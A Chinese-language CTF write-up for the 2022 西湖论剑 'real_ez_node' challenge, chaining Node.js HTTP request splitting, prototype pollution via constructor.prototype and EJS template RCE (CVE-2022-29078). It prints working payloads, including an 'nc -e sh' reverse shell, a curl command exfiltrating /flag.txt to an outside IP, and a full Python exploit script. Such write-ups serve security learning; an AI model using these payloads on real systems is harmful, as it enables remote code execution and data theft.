[西湖论剑 2022]real_ez_node
看了很久没做出来,最后还是看着大佬的WP做出来的,初次接触到nodejs原型链污染这个方面的漏洞
/route/index.js /copy路由部分
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
这一小段代码,基本上可以确定确定是原型链污染
从大佬文章里面Get新姿势 !ip.includes('127.0.0.1'
访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求
!index.includes("__proto__")
中constructor.prototype
替代 __proto__
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;
EJS引擎导致的RCE漏洞 EJS, Server side template injection RCE (CVE-2022-29078) - writeup
直接借用里面的Payload
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
构造个原型链污染 outputFunctionName
为RCE代码
x;global.process.mainModule.require('child_process').exec('curl 198.13.42.139:5431/`cat /flag.txt`');var x
Payload
{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 198.13.42.139:5431/`cat /flag.txt`');var x"}
nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,nodejs 不会对这些 Unicode 进行编码转义,因为它们不是 HTTP 控制字符
所以还要进行转义程Unicode
最终借鉴一下大佬的脚本
import urllib.parse
import requests
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155
{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 我的IP:我的端口/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")
def encode(data):
tmp = u""
for i in data:
tmp += chr(0x0100 + ord(i))
return tmp
payload = encode(payload)
print(payload)
r = requests.get('http://1.14.71.254:28102/curl?q=' + urllib.parse.quote(payload))
print(r.text)
成功反弹
这题知识点太多,自己学了好几天,nodejs原型链污染也是第一次接触。。当时比赛时候就没做出来555
标签:real,node,index,process,res,req,__,error,论剑 From: https://www.cnblogs.com/0xo0Kerk/p/17206513.html